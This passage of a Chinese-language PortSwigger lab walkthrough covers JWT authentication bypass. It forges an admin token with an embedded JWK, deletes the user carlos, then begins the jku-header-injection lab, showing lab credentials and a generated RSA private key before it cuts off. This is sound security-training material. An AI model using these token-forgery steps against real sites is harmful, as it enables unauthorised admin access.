        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 8</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:在</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Repeat</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">模块,我们切换到</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JSON Web Token</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">选项卡,修改</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的有效负载将</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">sub</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">内容修改为</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">administrator</span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 9</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:点击</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">"Attack"</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,然后选择</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">"Embedded JWK"</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,出现提示时选择您新生成的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">RSA</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">密钥</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 10</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:之后成功越权</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 11</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:调用敏感操作接口删除</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">carlos</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">用户完成解题</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">&nbsp;</span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">&nbsp;</span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#777777;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">注入场景</span></b><b><span lang="EN-US" style="color:#777777;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;">2</span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">有些服务器可以使用</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">jku(jwk Set URL)</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">头参数来引用包含密钥的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWK</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">集,而不是直接使用</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWK</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">头参数来嵌入公钥,当验证签名时,服务器从这个</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">URL</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">获取相关的密钥,这里的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWK</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">集其实是一个</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JSON</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">对象,包含一个代表不同键的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWK</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">数组,下面是一个简单的例子:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"keys"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"kty"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"RSA"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"e"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"AQAB"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"kid"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"75d0ef47-af89-47a9-9061-7c02a610d5ab"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"n"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw-fhvsWQ"</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">},</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"kty"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"RSA"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"e"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"AQAB"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;</span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"kid"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"d8fDFo-fS9-faS14a9-ASf99sa-7c1Ad5abA"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"n"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"fc3f-yy1wpYmffgXBxhAUJzHql79gNNQ_cb33HocCuJolwDqmk6GPM4Y_qTVX67WhsN3JvaFYw-dfg6DH-asAScw"</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWK</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">集合有时会通过一个标准端点公开,比如</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">:/.well-known/jwks.json</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,更安全的网站只会从受信任的域获取密钥,但有时您可以利用</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">URL</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">解析差异来绕过这种过滤,下面我们通过一个靶场来实践以下</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"><br />
</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">靶场地址:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection</span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"><br />
Step 1</span><span style="font-family:宋体;font-size:12.0pt;">:首先点击上方的<span lang="EN-US">"ACCESS THE LAB"</span>选项卡进入实验环境<span lang="EN-US"></span></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 2</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:登录系统</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="color:#F57900;font-family:Consolas;font-size:9.5pt;">wiener:</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">peter</span><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">Step 3</span><span style="font-family:宋体;font-size:12.0pt;">:随后你会看到一个用户邮箱更新的表单<span lang="EN-US"></span></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">Step 4</span><span style="font-family:宋体;font-size:12.0pt;">:使用<span lang="EN-US">burpsuite</span>生成一个新的<span lang="EN-US">RSA</span>密钥<span lang="EN-US"></span></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"p"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"8J0fgpxQpZOvPGb2rRsJB6Bh0lgvxRtp_Ilc7NmpI3UgEUiArSey091pT3X6lIPRZLdMf_eeYo_PWh5aq79Ps_xoZHtAz4VrR9sR8tCkND-z0KKBmopkUrowJie368xoWDU53P-4qxEfCfqPPxoZZRzhE7cse0PUVayNAJC01FU"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"kty"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"RSA"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"q"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"1zMkdJNLYEdZYvZ31B15CmCfI9dOGEpn6lyXOEBPsqrP554x_8dXZnXSHbybiYyeLgl6i_JubJBqjeSAejwHh9v-e3-R9-7Dgg4lB_OUNqsg7yM3mcpZn7IHeGVKj9BjhigWsbUXFuwM1iEDK4TDmTV4-tO9UMsIBQA1SFlUTA8"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"d"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"Ayw2AASn_yn6EwjqCts6_gP6NZ9BlNhCG1iuDTX9h_AGWYBtUepdgp4CaM098ZyjH2Da3RvonFVlTOwHTgVAdkb2eWqeMejMjUji3cKIQRU_r0UeY3C4q8BBuWjwzF7ZTeVDgbx05NfeUW0LwWE3mFBuPDy6tmvYdekcs8Ft7GDmU_ToPZaGnMoEKzVlMyDb82LgkB7qWw2H4UoXHWR0l_RS90gTjkJzMc4Fmu4CoPfmqw8jLnGgq8GhAzpecc-VLvqel3tSY0fKqF5Y3U2SooL27vJJxX0kLgHVbcTNvCcS8XZArdhWTekV923jtspoNDYn5HfhAlLglCcwQcOSYQ"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"e"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"AQAB"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"kid"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"fa018615-0392-4d15-89bb-a2c637d9adbd"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"qi"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"XO3HEFj8PCxFz4DIw0djHjTrW4Krm-Oim-U4bmuEdmPDKKTIYYvkPVoSRR-4kCHkCx2aDsraUbNkTyEYC4dRUbnWl6xr2HxaLZIsxOglYsa939l_m6NXSzttAGrPpWqoURT7t6ihSmBnGDJDsMS3c1gWJKZsAYkeXy5lI2IhGks"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"dp"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"0gfldIZsY0w5_9jE5LAfvreCDDGMaVsXtihVpC4PVXMs7clDAWMQ152DCqiqdi9mfar_LQkCCXkM_9ZVQWw675qZqXRpS3xj_BI_ZZw4aZ9dn_XqefLpxcjetL-g7US9pJm5i67xDOpiFLzRg7yNhFSkKCiRvHumAq8fWen23w0"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"dq"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"QcZI6zSmAjxsjrnkcDm96DUWDv9cyEHdtx0rvy6w7VwWBaYthA8qoI98dEhUhdsr8chF44Zqx9XwK4Re3H2Ck7zi8F5SgCRDL3ohSWfisj7l5xGtidz2PcBNVjgnbQN1l-ii3xgJgaEOX1hhvqhqnGZins-e-pXD0rt4ja93-3M"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
